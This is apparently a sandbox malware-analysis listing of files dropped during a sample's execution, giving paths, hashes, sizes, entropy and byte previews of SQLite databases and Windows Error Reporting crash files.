Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJDGIIDHJEBGIDHJJDBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_0QrWpVvJO2zQ0CVH_fe7a45dc98c4a03df8956f19df2eb684245d4977_42ec12b9_21610e57-778f-4065-bc1e-13c091547056\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8853235146525801
Encrypted:	false
SSDEEP:	96:n7Fx9yFfOsHZT6MldvxKb3UQXIDcQvc6QcEVcw3cE/N+C+BHUHZopAnQHdE7HeSW:7rkOsbs0BU/qa6DzuiFkZ24IO8+
MD5:	8803E2004EFDAB08B73CF839EA9E3A89
SHA1:	8A2B3A8127304548F7ECCEB089E0F2489BDAC3BB
SHA-256:	6863D26B95492C90247AA7980467D867300825F2833BC8832A40EDCA36C87908
SHA-512:	1E6AB54B3B0D2F0B6683255A6E56A517BF7FF250BFB297801BFD88D9C99D326F722DDCC76C3AC4453FC46DF5661CE019DD79984D4B8BDF5C52C277FE4D401E91
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.5.4.2.4.9.0.1.9.4.4.8.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.5.4.2.5.2.5.9.7.5.9.8.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.1.6.1.0.e.5.7.-.7.7.8.f.-.4.0.6.5.-.b.c.1.e.-.1.3.c.0.9.1.5.4.7.0.5.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.d.3.9.d.f.8.b.-.4.e.9.3.-.4.0.6.8.-.a.2.8.1.-.2.3.6.1.8.a.4.c.7.8.1.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.0.Q.r.W.p.V.v.J.O.2.z.Q.0.C.V.H.Y.o.3.F.G.I.t.E...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.7.0.-.0.0.0.1.-.0.0.1.4.-.8.c.6.2.-.9.f.5.c.7.a.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.1.a.3.d.1.3.c.1.5.4.6.2.d.7.3.e.d.d.c.1.6.f.3.f.2.f.e.a.5.b.2.0.0.0.0.f.f.f.f.!.0.0.0.0.6.4.0.9.a.3.2.5.9.b.1.8.e.c.f.9.1.d.2.f.f.6.a.4.3.f.f.3.1.9.c.2.f.8.1.5.8.b.e.2.!.0.Q.r.W.p.V.v.J.O.2.z.Q.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rFOuFGF_bpYT2mD7_69fe58b168696b2a535a228d07d71582c2b8d9d_e3bc100e_ad58e62b-81b6-4ac6-9704-c903ae32a260\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8923574762665918
Encrypted:	false
SSDEEP:	192:CW06B9O83Igs0BU/2oQaGgzuiFkZ24IO8D/i:9hLO83IABU/2oQaBzuiFkY4IO8D/i
MD5:	F8D7BE0223721B3E4E2251BE42D38721
SHA1:	1D6D33D0F2EF4F4350969A4297B3D46E42DADD94
SHA-256:	94855CA55C682E1E5638EA391F2D683F523E9832EC8B4591F0CDED58D74197E1
SHA-512:	A6C1A7572D3D75707158DF2A46B50E08FB210B83BF3F653B207003BFA89E73AB8A7D53DA5E008AEF3E9066E9BC6379202187C82258B033F440B08DC6BFDF61EA
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.5.4.2.4.9.7.5.5.7.1.8.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.5.4.2.5.4.0.0.5.7.1.6.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.d.5.8.e.6.2.b.-.8.1.b.6.-.4.a.c.6.-.9.7.0.4.-.c.9.0.3.a.e.3.2.a.2.6.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.f.5.d.0.6.d.0.-.e.f.3.f.-.4.d.8.3.-.8.6.4.9.-.0.1.1.3.a.f.9.e.a.6.7.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.F.O.u.F.G.F._.b.p.Y.T.2.m.D.7.2.h.Q.v.i.W.I.6...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.1.c.-.0.0.0.1.-.0.0.1.4.-.8.5.5.d.-.8.0.5.c.7.a.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.e.5.9.5.7.4.1.6.1.1.9.5.1.d.1.3.2.8.c.4.f.3.c.3.3.6.6.e.3.1.7.0.0.0.0.f.f.f.f.!.0.0.0.0.e.9.9.b.3.7.4.8.7.9.d.9.1.2.5.6.e.8.d.c.4.f.3.8.9.1.c.5.c.2.d.5.f.3.4.4.c.c.0.c.!.r.F.O.u.F.G.F._.b.p.Y.T.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E3D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Aug 30 01:17:29 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	208003
Entropy (8bit):	4.318642538402923
Encrypted:	false
SSDEEP:	3072:aNc4uEqFLTgSNfQZExjJSqEYAf1hbFdiqMF7Ty:mc4CTgeXDEH1hb+Z
MD5:	7122E655ABFAF92C738E7B5BB9B2E589
SHA1:	12726F644D037CB739750DFEB8591B1466B98D4F
SHA-256:	699C4279A8DBEF2BCAB048BBE2B6B035028F4689CD36D2CE5D97FC3A137409DC
SHA-512:	77F8B5A2238ED5CBE4F59B3FDFC30892279D11293B27A51136EA0552F879660CF71F64CD64067DC690141E3A7963E6B77A7A8E88EFA120630BB556A6B1DAF264
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... ..........f....................................$...........4'...6..........`.......8...........T............ ..........................................................................................................eJ......0.......GenuineIntel............T.......p......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40DD.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Aug 30 01:17:30 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	204385
Entropy (8bit):	4.236954392920779
Encrypted:	false
SSDEEP:	3072:om4bMqR4uEqULTg2CREx4da0ZQ7HL8QwRXCMYf7:om4bMqR4NTgbZda0IHIQwRXC
MD5:	07AF1469C017D9FE553AD10808C31B36
SHA1:	828AB4A1EC4E3D55CD4EB316FCA14DA77DA997A2
SHA-256:	F9449328D048FC7DC9A7ADB62F40FA1D57B1DD848DC46FF6651C56B19ABA4FD4
SHA-512:	77532C159D3D318AF6DAD1FD9B5F0C792931245B4D95D75F88946705CC1AFF205135190E3FF1A052A0ED62ECE0ECF74B3305E8BD42017D9A5CF2F5F589CCDF97
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... ..........f........................\...........$............%..67..........`.......8...........T............"..........................................................................................................eJ..............GenuineIntel............T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER41B9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6440
Entropy (8bit):	3.726844795014883
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbEE6XxYZvJVqQE/QYY5aM4Ur89bR8ypsfObm:R6l7wVeJEE6hYZveIprr89bR8ypsfObm
MD5:	73407A3550FC8C982463EAE063C25AAE
SHA1:	C429D16EB96ABF4B1A08ED087F52E2B6155CFA2E
SHA-256:	0FF79A2E091FD966C61F9F9F570A166AFE457B3FD77C36623E488836FB633153
SHA-512:	D6E7EFD843C4BB8FCF5B790B3D63F63D53BE583977DB6187626BAE0324EB540C8C1F58AA0A972FCA9BECF81D3CDBA53D575473F77C0453D23E25F0E464D8EEF2
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4295.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4779
Entropy (8bit):	4.548869305691617
Encrypted:	false
SSDEEP:	48:cvIwWl8zsEJg77aI9G5WpW8VYfYm8M4JZTB2FQ2+q8v2TBFcw6hld:uIjfCI78I7VXJ92Ks/6hld
MD5:	076E4D53A0A39339490D142515FD6224
SHA1:	31740A0F7DF75F4A8C2EDB0F2E5A63717D0E3CC6
SHA-256:	C16A28A8EE2A0CD78A319FD89CBD69C62C7DCB61240F0B8960A10134C773D9D5
SHA-512:	E263C4B2D207000D7EC92E77801C486C7CCF7CADB2C2E25D99F55F19CDAEEA37DAE62EAE9B6DF6462F81A545338B8726BD6AE48B87E7C5CC27C8C19523E611F5
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477620" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4310.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97608
Entropy (8bit):	3.1168285699525673
Encrypted:	false
SSDEEP:	1536:l2wOK030ic1wa5P8GAdLnm1VTi9MSqe8fqN1LP:l2wOK030ic1wa5P8GAdLnm1VTmMSqe8E
MD5:	C74CD161273D0FF0D765C4121062A3E6
SHA1:	E464B0F713FEDA511D60357F89883405A1112A8A
SHA-256:	4657028583333EC62F0049CD50ED1CFABF86F43BDE162DDCBF3D01D57F7D6DC5
SHA-512:	BAEA8E9EB902C45F9AF0B01C4E2E10C4753A305D8E68C05AAB76B131CBCA9927A9789A596AB63AA4AEDFD61A3D6EFBD28086802A916FF1645900B80A682FD9F9
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER46BA.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.685744810796431
Encrypted:	false
SSDEEP:	96:TiZYWLmBy9BYRY+uWYoOH+UYEZgVtHi/IuI5wFA7JlMaBMuMikIIUq3:2ZDDWQoxaA12aBMuMikvUq3
MD5:	5BCA82F9A796938422D19505F96325E4
SHA1:	387AB4E67BBF17B0DDEC9DB1D0623C71B0D523AD
SHA-256:	B61F41D261EA849D76C72A4B87698AE0F8A13289194F2C32F9300A03954A2700
SHA-512:	6BEBF15B91B11C220B4747D0F7484689C0C9D31F285EE50EE09E144F5242F03F9BD57CD9D45D37A0ADD1542562CCAB780D3FD24519CFC971861214D5519A09A3
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER46CA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6444
Entropy (8bit):	3.726706426707938
Encrypted:	false
SSDEEP:	192:R6l7wVeJyBjT6ZEeYZ/qIpry89b4Xsf0dom:R6lXJylT6DYxqO4cfK
MD5:	8A4A23564D386FAC95DB70F6EE1C47EE
SHA1:	0639F05D465A5A926E8BC4DAA7FCB4D3604C9DA8
SHA-256:	56483CBA0782A9A32AB722E91650BE4F76689B9B13788CB28D17CEDE7B7921B1
SHA-512:	BBF66310CC6FF99D7CB4045FB02839F077FC2DB916974CA4932D6E073D1D25F1C7B2E26341F46EFCFE7E41CE660C9AFBE2AF7A54411F92518E386D80B3BAD681
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.6.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER47E4.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4779
Entropy (8bit):	4.54427135920877
Encrypted:	false
SSDEEP:	48:cvIwWl8zsEJg77aI9G5WpW8VYUvYm8M4J1bB2FUx+q8vobBnclwrd:uIjfCI78I7VDyJBKQclwrd
MD5:	9A782D89A793BFE891997B5B0C290561
SHA1:	23201258968FFA038DD60A5FFF99ABC5640F1F3E
SHA-256:	76A83108CB3727A6D1BDC45F0FED67F94CD0D2D6F9067D2FBECEEF2A27827082
SHA-512:	F4330C17CFED8597C1F4B276F363E3C1C5DE0A9FD1EFD7F73932194CD2ED3A1E49013F6F99D73485CFD3BD7025A11554DBFB2BE2B9ED9280E56CB5A01BFB9523
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="477620" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4823.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97986
Entropy (8bit):	3.115413349665314
Encrypted:	false
SSDEEP:	1536:AxP0f0ic1faW8NAxLy43Bp9MSqewd123n0:AxP0f0ic1faW8NAxLy43BjMSqewd1230
MD5:	68CB7354FEC4BC1EA711B28090A0E93A
SHA1:	B1575D1AAEDFE0D4A9C6A0575B26D914E25D2390
SHA-256:	FF88FD60A30321F3F9881330F08FA3710BFBF90F38758D44306468396FB67674
SHA-512:	6FB520E314F6442A8E37380D48FC535148C692591D7FD9DDEEBEF0BCCCAEF73FB94B29A28CD7B69A9007C7362F3F586735B5904F8C8A360141C204AD12BB057C
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B8F.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6849818751090972
Encrypted:	false
SSDEEP:	96:TiZYWxeQsXOwYwYxWvWuHhyfUYEZuctHiPIIcITw0Ay1aiMHMwLwIoq3:2ZDxMnvs5A2aiMHMwLHoq3
MD5:	FBC2CC7E5960C1D97C4B02267308FF7C
SHA1:	7F994CF9459B287E7F4AF0B0C5B2D110E42D3C30
SHA-256:	23227E66C88A640AAE5C044AABA36882875723B8832B0CBB0A89B9654F7B4960
SHA-512:	40C98D86279DFB51BB300FE8DAC16FEB4887859FB9DD08B7A5395DB35CCEA4C7A1E49909EFB577230E6107A92F97744A8133016BA2C5BBE884E1911E3B25AF49
Malicious:	false
Reputation:	unknown
